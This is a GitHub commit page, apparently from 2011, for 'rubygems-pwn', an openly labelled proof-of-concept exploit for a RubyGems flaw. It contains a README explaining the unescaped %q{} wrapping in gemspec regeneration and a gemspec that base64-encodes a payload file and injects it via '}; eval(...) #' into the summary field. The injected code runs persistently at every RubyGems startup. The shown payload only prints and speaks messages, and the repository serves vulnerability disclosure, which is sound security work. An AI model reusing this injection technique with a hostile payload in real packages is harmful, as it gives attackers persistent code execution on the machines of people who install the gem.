Skip to content

Commit

Permalink
Initial commit.
Browse files Browse the repository at this point in the history
  • Loading branch information
postmodern committed Aug 24, 2011
0 parents commit c933bb2
Show file tree
Hide file tree
Showing 4 changed files with 109 additions and 0 deletions.
3 changes: 3 additions & 0 deletions .gitignore
@@ -0,0 +1,3 @@
*.gem
pkg/
doc/
68 changes: 68 additions & 0 deletions README.rdoc
@@ -0,0 +1,68 @@
= RubyGems PWN

<b>All versions of RubyGems are vulnerable to Persistent Code Injection via
the gemspecs, which RubyGems generates when installing a Gem.</b>

== Explanation

When building a +.gem+ file, RubyGems will load your pure-Ruby gemspec
and +YAML.dump+ the gemspec object. The YAML-dump gemspec is then
compressed and included into the +.gem+ file. Upon installing a Gem,
RubyGems will extract the YAML-dumped gemspec, +YAML.load+ the gemspec
and then build a new pure-Ruby representation of the attributes within
<tt>Gem::Specification</tt>. RubyGems installs this re-generated pure-Ruby
gemspec into the +specifications/+ directory within the +GEM_HOME+.

The rational for dumping the gemspec to YAML, then building another Ruby
gemspec file from the dumped YAML, is that <tt>eval()</tt>ing Ruby is
faster than calling +YAML.load+. Since RubyGems loads <i>every</i> gemspec
at start-up, being fast matters.

RubyGems builds this pure-Ruby gemspec using the to_ruby[https://github.com/rubygems/rubygems/blob/2ff3142c9a477ac2dbf0a5a2ff0f837b7fcc97e9/lib/rubygems/specification.rb#L2049-2124] method. +to_ruby+ merely
concatenates Ruby code into a big String, and embeds the data from the
<tt>Gem::Specification</tt>. +to_ruby+ relies on the
ruby_code[https://github.com/rubygems/rubygems/blob/2ff3142c9a477ac2dbf0a5a2ff0f837b7fcc97e9/lib/rubygems/specification.rb#L1915-1931] method,
for wrap the gemspec data, so that they can be safely embedded into
Ruby code.

Unfortunately, the +ruby_code+ method naively wraps Strings in
<tt>%q{</tt> and <tt>}</tt>, and performs no character-escaping.
Security connoisseurs will immediately recognize this mistake
as the same one which makes SQL Injection possible.

To exploit this bug, one simply needs to place a <tt>};</tt> in a
<tt>Gem::Specification</tt> field (+summary+ is a good hiding spot)
to escape the <tt>%q{</tt>, then add the malicious Ruby code, and ignore
the trailing <tt>}</tt> with a <tt>#</tt> comment.

s.summary = "A Ruby API for TF2. }; puts "Geeeeentlemen" #"

== Impact

As far as I can tell, the +ruby_code+ method was introduced around RubyGems
0.8.0. All previous versions of RubyGems also appear to be vulnerable, since
they directly inline the <tt>Gem::Specification</tt> attributes in
+to_ruby+:

def to_ruby
mark_version
result = "Gem::Specification.new do |s|\n"
result << "s.name = %q{#{name}}\n"
result << "s.version = %q{#{version}}\n"
result << "s.platform = %q{#{platform}}\n" if @platform
result << "s.has_rdoc = #{has_rdoc?}\n" if has_rdoc?
result << "s.summary = %q{#{summary}}\n"

* <tt>Gem::Specification#to_ruby</tt> method from RubyGems
0.2.0[http://rubyforge.org/frs/download.php/414/rubygems-0.2.0.tar.gz].

Of course, there is some user-interaction required, a user must be enticed
into installing a new Gem. Once installed, the injected code is persistent
since RubyGems will load all gemspecs during start-up. The injected code
will also survive <tt>gem pristine</tt>, which re-generates all installed
gemspecs.

== Proof Of Concept (PoC)

gem install rubygems-pwn

5 changes: 5 additions & 0 deletions lib/rubygems-pwn/payload.rb
@@ -0,0 +1,5 @@
say_puts = lambda { |m| puts("\a#{m}"); system('say',m) }
say_puts["Geeeentle-men"]
say_puts["All versions of Ruby-Gems are vulnerable"]
say_puts["to persistent code injection"]
say_puts["via the gem specs that are re-generated when you install a Gem"]
33 changes: 33 additions & 0 deletions rubygems-pwn.gemspec
@@ -0,0 +1,33 @@
# -*- encoding: utf-8 -*-

require 'base64'

Gem::Specification.new do |s|
s.name = "rubygems-pwn"
s.version = "0.1.0"
s.authors = ["Postmodern"]
s.email = ["postmodern.mod3@gmail.com"]
s.homepage = "http://github.com/sophsec/rubygems-pwn"

# load the payload
payload = File.read(File.join(File.dirname(__FILE__),'lib','rubygems-pwn','payload.rb'))

embed_code = lambda { |code|
# base64 encode our payload, to hide any special characters
"require('base64');eval(Base64.decode64(#{Base64.encode64(code).inspect}))"
}
escape_code = lambda { |code|
# escape RubyGems Gem::Specification#ruby_code escaping logic which
# simple wraps Strings in "%q{" and "}".
"}; #{code} #"
}

s.description = %q{A Proof of Concept (PoC) exploit for an trivial Security vulnerability in how RubyGems converts YAML-dumped gemspecs, back into Ruby code, when installing RubyGems. This ties into the larger design mistake, of storing installed gemspecs as Ruby code; since evaling Ruby code was faster than loading YAML gemspecs. When handling data, it is safer to store it in a static format (YAML, XML, CSV), instead of executable code.}

# grab the first sentence of the description, and append our escaped code
s.summary = s.description.match(/^[^\.]+/)[0] +
escape_code[embed_code[payload]]

s.files = ['README.rdoc']
s.require_paths = ["lib"]
end

0 comments on commit c933bb2

Please sign in to comment.